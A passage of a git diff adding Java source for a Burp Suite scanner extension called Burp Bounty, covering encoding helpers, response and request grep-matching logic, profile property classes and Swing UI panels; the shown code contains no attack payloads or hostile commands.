"\\<\\(\\[\\\\\\^\\-\\=\\$\\!\\|\\]\\)\\?\\*\\+\\.\\>]\\&\\%\\:\\@ "; + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (key.contains(s.substring(i, i + 1))) { + out.append("&#x" + Integer.toHexString((int) c) + ";"); + } else { + out.append(c); + } + } + return out.toString(); + } + + public static String encodeKeyURL(String s) { + StringBuffer out = new StringBuffer(); + String key = "\\<\\(\\[\\\\\\^\\-\\=\\$\\!\\|\\]\\)\\?\\*\\+\\.\\>]\\&\\%\\:\\@ "; + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (key.contains(s.substring(i, i + 1))) { + out.append("%" + Integer.toHexString((int) c)); + } else { + out.append(c); + } + } + return out.toString(); + } + + public static String encodeTheseURL(String s, String characters) { + StringBuffer out = new StringBuffer(); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (characters.indexOf(c) >= 0) { + out.append("%" + Integer.toHexString((int) c)); + } else { + out.append(c); + } + } + return out.toString(); + } +} diff --git a/src/src/GrepMatch.java b/src/src/GrepMatch.java new file mode 100755 index 0000000..facaf98 --- /dev/null +++ b/src/src/GrepMatch.java @@ -0,0 +1,306 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpExtenderCallbacks; +import burp.IExtensionHelpers; +import burp.IHttpRequestResponse; +import burp.IResponseInfo; +import burp.IScanIssue; +import burp.IScannerInsertionPoint; +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.regex.PatternSyntaxException; + +public class GrepMatch { + + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + List greps; + + public GrepMatch(IBurpExtenderCallbacks callbacks) { + + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + greps = new ArrayList(); + } + + public IScanIssue getResponseMatches(IHttpRequestResponse requestResponse, String payload, List greps, String issuename, String issuedetail, String issuebackground, + String remediationdetail, String remediationbackground, String charstourlencode, int matchtype, String issueseverity, String issueconfidence, boolean notresponse, + boolean casesensitive, boolean urlencode, boolean excludeHTTP, boolean onlyHTTP) { + + String responseString; + String headers = ""; + Pattern p; + Matcher m; + IResponseInfo responseInfo = helpers.analyzeResponse(requestResponse.getResponse()); + byte[] request = requestResponse.getRequest(); + List responseMarkers = new ArrayList(); + List requestMarkers = new ArrayList(); + + for (String grep : greps) { + Boolean vuln = false; + if (casesensitive || matchtype == 2) { + responseString = helpers.bytesToString(requestResponse.getResponse()); + for (String header : responseInfo.getHeaders()) { + headers += header + "\r\n"; + } + } else { + responseString = helpers.bytesToString(requestResponse.getResponse()).toUpperCase(); + grep = grep.toUpperCase(); + for (String header : responseInfo.getHeaders()) { + headers += header.toUpperCase() + "\r\n"; + } + } + + if (matchtype == 2) { + String matches = "
"; + //Start regex grep + int beginAt = 0; + + try { + if (excludeHTTP && !onlyHTTP) { + beginAt = responseInfo.getBodyOffset(); + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); + m = p.matcher(responseString); + } else if (!excludeHTTP && onlyHTTP) { + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); + m = p.matcher(headers); + } else { + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); + m = p.matcher(responseString); + } + } catch (PatternSyntaxException pse) { + callbacks.printError("GrepMacth line 93 Incorrect regex: " + pse.getPattern()); + return null; + } + + if (!payload.equals("")) { + int start = 0; + byte[] match = helpers.stringToBytes(payload); + while (start < request.length) { + start = helpers.indexOf(request, match, false, start, request.length); + if (start == -1) { + break; + } + requestMarkers.add(new int[]{start, start + match.length}); + start += match.length; + } + } + + if (notresponse) { + if (m.find(beginAt)) { + return null; + } + + } else { + while (m.find(beginAt)) { + responseMarkers.add(new int[]{m.start(), m.end()}); + matches = matches + m.group().toLowerCase() + "
"; + beginAt = m.end(); + vuln = true; + } + + if (!vuln) { + return null; + } + } + //End regex grep + //Start Simple String, payload in response and payload without encode + } else { + int beginAt = 0; + byte[] response = helpers.stringToBytes(responseString); + + if (excludeHTTP && !onlyHTTP) { + beginAt = responseInfo.getBodyOffset(); + } else if (!excludeHTTP && onlyHTTP) { + response = helpers.stringToBytes(headers); + } + + if (!payload.equals("")) { + int start = 0; + byte[] match = helpers.stringToBytes(payload); + while (start < request.length) { + start = helpers.indexOf(request, match, false, start, request.length); + if (start == -1) { + break; + } + requestMarkers.add(new int[]{start, start + match.length}); + start += match.length; + } + } + + if (notresponse) { + if (responseString.contains(grep)) { + return null; + } + + } else { + + byte[] match = helpers.stringToBytes(grep); + + while (beginAt < response.length) { + beginAt = helpers.indexOf(response, match, false, beginAt, response.length); + if (beginAt == -1) { + break; + } + responseMarkers.add(new int[]{beginAt, beginAt + match.length}); + beginAt += match.length; + vuln = true; + } + + if (!vuln) { + return null; + } + } + //End Simple String, payload in response and payload without encode + } + } + + Collections.sort(responseMarkers, new Comparator() { + private static final int INDEX = 0; + + @Override + public int compare(int[] o1, int[] o2) { + return Integer.compare(o1[INDEX], o2[INDEX]); + } + }); + + return new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), + new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, requestMarkers, responseMarkers) + }, + "BurpBounty - " + issuename, issuedetail + .replace( + "", helpers.urlEncode(payload)), + issueseverity, issueconfidence, remediationdetail, issuebackground, remediationbackground); + } + + public Object[] getRequestMatches(IHttpRequestResponse requestResponse, List greps, String issuename, String issuedetail, String issuebackground, + String remediationdetail, String remediationbackground, int matchtype, String issueseverity, String issueconfidence, Boolean casesensitive, Boolean notresponse) { + + String data = ""; + Pattern p; + Matcher m; + byte[] request = requestResponse.getRequest(); + List requestMarkers = new ArrayList(); + List insertionPoints = new ArrayList(); + + for (String grep : greps) { + String[] tokens = grep.split(","); + String value = tokens[1]; + grep = value; + Boolean vuln = false; + + if (casesensitive && matchtype == 1) { + + data = helpers.bytesToString(requestResponse.getRequest()); + + } else if (matchtype == 1) { + + data = helpers.bytesToString(requestResponse.getRequest()).toUpperCase(); + grep = grep.toUpperCase(); + + } else if (matchtype == 2) { + Matcher matcher; + try { + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); + } catch (PatternSyntaxException pse) { + callbacks.printError("Grep Macth line 251 Incorrect regex: " + pse.getPattern()); + return null; + } + + data = helpers.bytesToString(requestResponse.getRequest()); + matcher = p.matcher(data); + + } + + if (matchtype == 2) { + //Start regex grep + int beginAt = 0; + try { + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); + m = p.matcher(helpers.bytesToString(requestResponse.getRequest())); + } catch (PatternSyntaxException pse) { + callbacks.printError("Grep Macth line 251 Incorrect regex: " + pse.getPattern()); + return null; + } + + if (m.find(beginAt)) { + if (notresponse) { + return null; + } else { + while (m.find(beginAt)) { + requestMarkers.add(new int[]{m.start(), m.end()}); + beginAt = m.end(); + vuln = true; + } + + if (!vuln) { + return null; + } + } + } else { + return null; + } + //End regex grep + //Start Simple String, payload in response and payload without encode + } else { + int beginAt = 0; + + if (data.contains(grep.toUpperCase())) { + if (notresponse) { + return null; + } else { + byte[] match = helpers.stringToBytes(grep); + while (beginAt < request.length) { + beginAt = helpers.indexOf(request, match, false, beginAt, request.length); + if (beginAt == -1) { + break; + } + requestMarkers.add(new int[]{beginAt, beginAt + match.length}); + beginAt += match.length; + vuln = true; + } + + if (!vuln) { + return null; + } + } + } else { + return null; + } + //End Simple String, payload and payload without encode + } + } + + Collections.sort(requestMarkers, new Comparator() { + private static final int INDEX = 0; + + @Override + public int compare(int[] o1, int[] o2) { + return Integer.compare(o1[INDEX], o2[INDEX]); + } + }); + + return new Object[]{new CustomScanIssue(requestResponse.getHttpService(), helpers.analyzeRequest(requestResponse).getUrl(), + new IHttpRequestResponse[]{callbacks.applyMarkers(requestResponse, requestMarkers, null)}, + "BurpBounty - " + issuename, issuedetail, issueseverity, issueconfidence, remediationdetail, issuebackground, remediationbackground), insertionPoints}; + } +} diff --git a/src/src/Headers.java b/src/src/Headers.java new file mode 100755 index 0000000..43dd2dc --- /dev/null +++ b/src/src/Headers.java @@ -0,0 +1,32 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +public class Headers { + + String type; + String match; + String replace; + String regex; + + Headers(String type, String match, String replace, String regex) { + this.type = type; + this.match = match; + this.replace = replace; + this.regex = regex; + } + +} diff --git a/src/src/NewTag.form b/src/src/NewTag.form new file mode 100755 index 0000000..9cb3397 --- /dev/null +++ b/src/src/NewTag.form @@ -0,0 +1,67 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/src/NewTag.java b/src/src/NewTag.java new file mode 100755 index 0000000..6532c5b --- /dev/null +++ b/src/src/NewTag.java @@ -0,0 +1,71 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +public class NewTag extends javax.swing.JPanel { + + public NewTag() { + initComponents(); + + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + newTagtext = new javax.swing.JTextField(); + jLabel47 = new javax.swing.JLabel(); + + setAlignmentX(300); + setAlignmentY(300); + + jLabel47.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel47.setForeground(new java.awt.Color(255, 102, 51)); + jLabel47.setText("Set new tag"); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(newTagtext, javax.swing.GroupLayout.PREFERRED_SIZE, 267, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel47)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel47) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(newTagtext, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap(13, Short.MAX_VALUE)) + ); + }// //GEN-END:initComponents + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JLabel jLabel47; + public javax.swing.JTextField newTagtext; + // End of variables declaration//GEN-END:variables +} diff --git a/src/src/ProfilesProperties.java b/src/src/ProfilesProperties.java new file mode 100755 index 0000000..9e32977 --- /dev/null +++ b/src/src/ProfilesProperties.java @@ -0,0 +1,451 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import java.util.List; + +public class ProfilesProperties { + + private String Name; + private boolean Enabled; + private int Scanner; + private String Author; + private List Payloads; + private List Encoder; + private boolean UrlEncode; + private String CharsToUrlEncode; + private List Grep; + private List Tags; + private boolean PayloadResponse; + private boolean NotResponse; + private String TimeOut; + private boolean isTime; + private String contentLength; + private boolean iscontentLength; + private boolean CaseSensitive; + private boolean ExcludeHTTP; + private boolean OnlyHTTP; + private boolean IsContentType; + private String ContentType; + private boolean NegativeCT; + private boolean IsResponseCode; + private String ResponseCode; + private boolean NegativeRC; + private String urlextension; + private boolean isurlextension; + private boolean NegativeUrlExtension; + private int MatchType; + private int RedirType; + private int MaxRedir; + private int payloadPosition; + private String payloadsFile; + private String grepsFile; + private String IssueName; + private String IssueSeverity; + private String IssueConfidence; + private String IssueDetail; + private String RemediationDetail; + private String IssueBackground; + private String RemediationBackground; + private List Header; + private List VariationAttributes; + private List InsertionPointType; + Boolean Scanas; + int Scantype; + private boolean pathDiscovery; + + public ProfilesProperties() { + super(); + } + + public String getName() { + return Name; + } + + public List getHeader() { + return Header; + } + + public List getVariationAttributes() { + return VariationAttributes; + } + + public List getInsertionPointType() { + return InsertionPointType; + } + + public String getAuthor() { + return Author; + } + + public boolean getEnabled() { + return Enabled; + } + + public boolean getScanAs() { + return Scanas; + } + + public int getScanner() { + return Scanner; + } + + public int getScanType() { + return Scantype; + } + + public int getPayloadPosition() { + return payloadPosition; + } + + public List getPayloads() { + return Payloads; + } + + public List getEncoder() { + return Encoder; + } + + public String getCharsToUrlEncode() { + return CharsToUrlEncode; + } + + public String getpayloadsFile() { + return payloadsFile; + } + + public String getgrepsFile() { + return grepsFile; + } + + public List getGreps() { + return Grep; + } + + public List getTags() { + return Tags; + } + + public boolean getCaseSensitive() { + return CaseSensitive; + } + + public boolean getPayloadResponse() { + return PayloadResponse; + } + + public boolean getNotResponse() { + return NotResponse; + } + + public boolean getExcludeHTTP() { + return ExcludeHTTP; + } + + public boolean getOnlyHTTP() { + return OnlyHTTP; + } + + public boolean getIsContentType() { + return IsContentType; + } + + public String getContentType() { + return ContentType; + } + + public String getTime() { + return TimeOut; + } + + public boolean getIsTime() { + return isTime; + } + + public boolean getPathDiscover() { + return pathDiscovery; + } + + public String getContentLength() { + return contentLength; + } + + public boolean getIsContentLength() { + return iscontentLength; + } + + public boolean getNegativeCT() { + return NegativeCT; + } + + public boolean getIsResponseCode() { + return IsResponseCode; + } + + public String getResponseCode() { + return ResponseCode; + } + + public boolean getNegativeRC() { + return NegativeRC; + } + + public boolean getIsURLExtension() { + return isurlextension; + } + + public String getURLExtension() { + return urlextension; + } + + public boolean getNegativeURLExtension() { + return NegativeUrlExtension; + } + + public boolean getUrlEncode() { + return UrlEncode; + } + + public int getMatchType() { + return MatchType; + } + + public int getRedirection() { + return RedirType; + } + + public int getMaxRedir() { + return MaxRedir; + } + + public String getIssueName() { + return IssueName; + } + + public String getIssueSeverity() { + return IssueSeverity; + } + + public String getIssueConfidence() { + return IssueConfidence; + } + + public String getIssueDetail() { + return IssueDetail; + } + + public String getIssueBackground() { + return IssueBackground; + } + + public String getRemediationDetail() { + return RemediationDetail; + } + + public String getRemediationBackground() { + return RemediationBackground; + } + + //Set functions + public void setName(String name) { + Name = name; + } + + public void setHeader(List header) { + Header = header; + } + + public void setVariationAttributes(List variationAttributes) { + VariationAttributes = variationAttributes; + } + + public void setInsertionPointType(List insertionPointType) { + InsertionPointType = insertionPointType; + } + + + public void setAuthor(String author) { + Author = author; + } + + public void setEnabled(boolean enabled) { + Enabled = enabled; + } + + public void setScanAs(boolean scanas) { + Scanas = scanas; + } + + public void setScanner(int scanner) { + Scanner = scanner; + } + + public void setScanType(int scantype) { + Scantype = scantype; + } + + public void setPayloadPosition(int payloadposition) { + payloadPosition = payloadposition; + } + + public void setPayloads(List payloads) { + Payloads = payloads; + } + + public void setEncoder(List encoder) { + Encoder = encoder; + } + + public void setCharsToUrlEncode(String charstourlencode) { + CharsToUrlEncode = charstourlencode; + } + + public void setPayloadsFile(String payloadsfile) { + payloadsFile = payloadsfile; + } + + public void setGrepsFile(String grepsfile) { + grepsFile = grepsfile; + } + + public void setGreps(List grep) { + Grep = grep; + } + + public void setTags(List tags) { + Tags = tags; + } + + public void setPathDiscovery(boolean pathdiscovery) { + pathDiscovery = pathdiscovery; + } + + public void setCaseSensitive(boolean casesensitive) { + CaseSensitive = casesensitive; + } + + public void setPayloadResponse(boolean payloadresponse) { + PayloadResponse = payloadresponse; + } + + public void setNotResponse(boolean notresponse) { + NotResponse = notresponse; + } + + public void setOnlyHTTP(boolean onlyHTTP) { + OnlyHTTP = onlyHTTP; + } + + public void setExcludeHTTP(boolean excludeHTTP) { + ExcludeHTTP = excludeHTTP; + } + + public void setIsContentType(boolean iscontenttype) { + IsContentType = iscontenttype; + } + + public void setTime(String timeout) { + TimeOut = timeout; + } + + public void setIsTime(boolean istime) { + isTime = istime; + } + + public void setContentLength(String contentlength) { + contentLength = contentlength; + } + + public void setIsContentLength(boolean iscontentlength) { + iscontentLength = iscontentlength; + } + + public void setURLExtension(String urlExtension) { + urlextension = urlExtension; + } + + public void setIsURLExtension(boolean isurlExtension) { + isurlextension = isurlExtension; + } + + public void setNegativeURLExtension(boolean negativeurlextension) { + NegativeUrlExtension = negativeurlextension; + } + + public void setContentType(String contenttype) { + ContentType = contenttype; + } + + public void setNegativeCT(boolean negativect) { + NegativeCT = negativect; + } + + public void setIsResponseCode(boolean isresponsecode) { + IsResponseCode = isresponsecode; + } + + public void setResponseCode(String responsecode) { + ResponseCode = responsecode; + } + + public void setNegativeRC(boolean negativerc) { + NegativeRC = negativerc; + } + + public void setUrlEncode(boolean urlencode) { + UrlEncode = urlencode; + } + + public void setMatchType(int matchtype) { + MatchType = matchtype; + } + + public void setRedirType(int redirtype) { + RedirType = redirtype; + } + + public void setMaxRedir(int maxredir) { + MaxRedir = maxredir; + } + + public void setIssueName(String issuename) { + IssueName = issuename; + } + + public void setIssueSeverity(String issueseverity) { + IssueSeverity = issueseverity; + } + + public void setIssueConfidence(String issueconfidence) { + IssueConfidence = issueconfidence; + } + + public void setIssueDetail(String issuedetail) { + IssueDetail = issuedetail; + } + + public void setIssueBackground(String issuebackground) { + IssueBackground = issuebackground; + } + + public void setRemediationDetail(String remediationdetail) { + RemediationDetail = remediationdetail; + } + + public void setRemediationBackground(String remediationbackground) { + RemediationBackground = remediationbackground; + } +} diff --git a/src/src/RequestProfile.form b/src/src/RequestProfile.form new file mode 100755 index 0000000..fb75171 --- /dev/null +++ b/src/src/RequestProfile.form @@ -0,0 +1,1025 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/src/RequestProfile.java b/src/src/RequestProfile.java new file mode 100755 index 0000000..0fc6768 --- /dev/null +++ b/src/src/RequestProfile.java @@ -0,0 +1,1100 @@ +/* +Copyright 2018 Eduardo Garcia Melia + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + */ +package burpbounty; + +import burp.IBurpExtenderCallbacks; +import java.awt.Desktop; +import java.awt.Toolkit; +import java.awt.datatransfer.Clipboard; +import java.awt.datatransfer.DataFlavor; +import java.awt.datatransfer.Transferable; +import java.awt.datatransfer.UnsupportedFlavorException; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.PrintWriter; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import javax.swing.DefaultListModel; +import javax.swing.JDialog; +import javax.swing.JFileChooser; +import javax.swing.JFrame; +import javax.swing.JOptionPane; +import javax.swing.JScrollPane; +import javax.swing.RowSorter; +import javax.swing.table.DefaultTableModel; +import javax.swing.table.TableModel; +import javax.swing.table.TableRowSorter; + +/** + * + * @author eduardogarcia + */ +public class RequestProfile extends javax.swing.JPanel { + + /** + * Creates new form RequestProfile + */ + DefaultListModel payload; + DefaultListModel grep; + DefaultListModel encoder; + DefaultListModel tag; + DefaultListModel tagmanager; + List headers; + List variationAttributes; + List insertionPointType; + List Tags; + Boolean pathDiscovery; + DefaultTableModel model; + DefaultTableModel model1; + DefaultTableModel model2; + DefaultTableModel model4; + DefaultTableModel model9; + DefaultTableModel model10; + DefaultTableModel modelgrep; + IBurpExtenderCallbacks callbacks; + String filename; + + public RequestProfile(IBurpExtenderCallbacks callbacks) { + + payload = new DefaultListModel(); + grep = new DefaultListModel(); + encoder = new DefaultListModel(); + tag = new DefaultListModel(); + tagmanager = new DefaultListModel(); + model4 = new DefaultTableModel(); + model9 = new DefaultTableModel(); + model10 = new DefaultTableModel(); + modelgrep = new DefaultTableModel(); + headers = new ArrayList(); + variationAttributes = new ArrayList(); + insertionPointType = new ArrayList(); + this.callbacks = callbacks; + + modelgrep = new DefaultTableModel() { + @Override + public Class getColumnClass(int columnIndex) { + Class clazz = String.class; + switch (columnIndex) { + case 0: + clazz = Boolean.class; + break; + } + return clazz; + } + + @Override + public boolean isCellEditable(int row, int column) { + if (column == 0 || column == 4) { + return true; + } else { + return false; + } + } + + }; + + initComponents(); + + if (callbacks.loadExtensionSetting("filename") != null) { + filename = callbacks.loadExtensionSetting("filename")+ File.separator;; + } else { + filename = System.getProperty("user.home")+ File.separator;; + } + showTags(); + showGrepsTable(); + + } + + public String getClipboardContents() { + //Get clipboard contents for implement grep and match paste button + String result = ""; + Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); + Transferable contents = clipboard.getContents(null); + boolean hasTransferableText = (contents != null) && contents.isDataFlavorSupported(DataFlavor.stringFlavor); + + if (hasTransferableText) { + try { + result = (String) contents.getTransferData(DataFlavor.stringFlavor); + } catch (UnsupportedFlavorException | IOException ex) { + callbacks.printError("RequestProfile line 147: " + ex.getMessage()); + } + } + return result; + } + + public void swap(int a, int b) { + Object aObject = encoder.getElementAt(a); + Object bObject = encoder.getElementAt(b); + encoder.set(a, bObject); + encoder.set(b, aObject); + } + + public void showGrepsTable() { + modelgrep.setNumRows(0); + modelgrep.setColumnCount(0); + modelgrep.addColumn("Enabled"); + modelgrep.addColumn("Operator"); + modelgrep.addColumn("Insertion Point type"); + modelgrep.addColumn("Parameter"); + modelgrep.addColumn("Grep Value"); + + table4.getColumnModel().getColumn(0).setPreferredWidth(20); + table4.getColumnModel().getColumn(1).setPreferredWidth(25); + table4.getColumnModel().getColumn(2).setPreferredWidth(90); + table4.getColumnModel().getColumn(3).setPreferredWidth(35); + table4.getColumnModel().getColumn(4).setPreferredWidth(240); + + TableRowSorter sorter = new TableRowSorter<>(table4.getModel()); + table4.setRowSorter(sorter); + List sortKeys = new ArrayList<>(); + sorter.setSortKeys(sortKeys); + sorter.sort(); + } + + public void showGreps(List greps) { + + for (String grepline : greps) { + List array = Arrays.asList(grepline.split(",")); + if (array.size() > 1) { + if (array.get(0).equals("true")) { + modelgrep.addRow(new Object[]{true, "Or", "All Request", "Name", array.get(4)}); + } else { + modelgrep.addRow(new Object[]{false, "Or", "All Request", "Name", array.get(4)}); + } + } else { + modelgrep.addRow(new Object[]{true, "Or", "All Request", "Name", grepline}); + } + } + } + + public void loadGrepsFile(DefaultTableModel model) { + //Load file for implement payloads and match load button + List greps = new ArrayList(); + String line; + JFrame parentFrame = new JFrame(); + JFileChooser fileChooser = new JFileChooser(); + fileChooser.setDialogTitle("Specify a file to load"); + + int userSelection = fileChooser.showOpenDialog(parentFrame); + + if (userSelection == JFileChooser.APPROVE_OPTION) { + File fileload = fileChooser.getSelectedFile(); + textgreps.setText(fileload.getAbsolutePath()); + try { + BufferedReader bufferreader = new BufferedReader(new FileReader(fileload.getAbsolutePath())); + line = bufferreader.readLine(); + + while (line != null) { + greps.add(line); + line = bufferreader.readLine(); + } + bufferreader.close(); + showGreps(greps); + } catch (FileNotFoundException ex) { + callbacks.printError("RequestProfile line 263:"); + } catch (IOException ex) { + callbacks.printError("RequestProfile line 267:"); + } + } + } + + public void addNewTag(String str) { + if (!str.isEmpty()) { + try { + BufferedWriter out = new BufferedWriter(new FileWriter(filename.concat("tags.txt"), true)); + out.write(str.concat("\n")); + out.close(); + } catch (IOException e) { + callbacks.printError("RequestProfile line 278: " + e.getMessage()); + } + } + } + + public void removeTag(String tag) { + String file = filename.concat("tags.txt"); + try { + + File inFile = new File(file); + + if (!inFile.isFile()) { + callbacks.printError("RequestProfile line 289: " + "Parameter is not an existing file"); + return; + } + + //Construct the new file that will later be renamed to the original filename. + File tempFile = new File(inFile.getAbsolutePath().concat(".tmp")); + + BufferedReader br = new BufferedReader(new FileReader(file)); + PrintWriter pw = new PrintWriter(new FileWriter(tempFile)); + + String line = null; + + //Read from the original file and write to the new + //unless content matches data to be removed. + while ((line = br.readLine()) != null) { + + if (!line.trim().equals(tag)) { + pw.println(line); + pw.flush(); + } + } + pw.close(); + br.close(); + + //Delete the original file + if (!inFile.delete()) { + callbacks.printError("RequestProfile line 315: " + "Could not delete file"); + return; + } + + //Rename the new file to the filename the original file had. + if (!tempFile.renameTo(inFile)) { + callbacks.printError("RequestProfile line 321: " + "Could not rename file"); + } + + } catch (FileNotFoundException ex) { + callbacks.printError("RequestProfile line 325:"); + } catch (IOException ex) { + callbacks.printError("RequestProfile line 329:"); + } + } + + public void showTags() { + + List tags = readFile(filename.concat("tags.txt")); + + newTagCombo.removeAllItems(); + tagmanager.removeAllElements(); + for (String tag : tags) { + newTagCombo.addItem(tag); + tagmanager.addElement(tag); + } + } + + private List readFile(String filename) { + List records = new ArrayList(); + try { + BufferedReader reader = new BufferedReader(new FileReader(filename)); + String line; + while ((line = reader.readLine()) != null) { + records.add(line); + } + reader.close(); + } catch (Exception e) { + callbacks.printError("RequestPorfile line 363:" + e.getMessage()); + } + return records; + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + buttonGroup1 = new javax.swing.ButtonGroup(); + buttonGroup2 = new javax.swing.ButtonGroup(); + buttonGroup3 = new javax.swing.ButtonGroup(); + buttonGroup4 = new javax.swing.ButtonGroup(); + buttonGroup5 = new javax.swing.ButtonGroup(); + buttonGroup6 = new javax.swing.ButtonGroup(); + buttonGroup7 = new javax.swing.ButtonGroup(); + text1 = new javax.swing.JTextField(); + jLabel18 = new javax.swing.JLabel(); + jLabel12 = new javax.swing.JLabel(); + textauthor = new javax.swing.JTextField(); + headerstab = new javax.swing.JTabbedPane(); + jScrollPane6 = new javax.swing.JScrollPane(); + jPanel11 = new javax.swing.JPanel(); + radio4 = new javax.swing.JRadioButton(); + radio3 = new javax.swing.JRadioButton(); + check4 = new javax.swing.JCheckBox(); + check1 = new javax.swing.JCheckBox(); + jLabel24 = new javax.swing.JLabel(); + 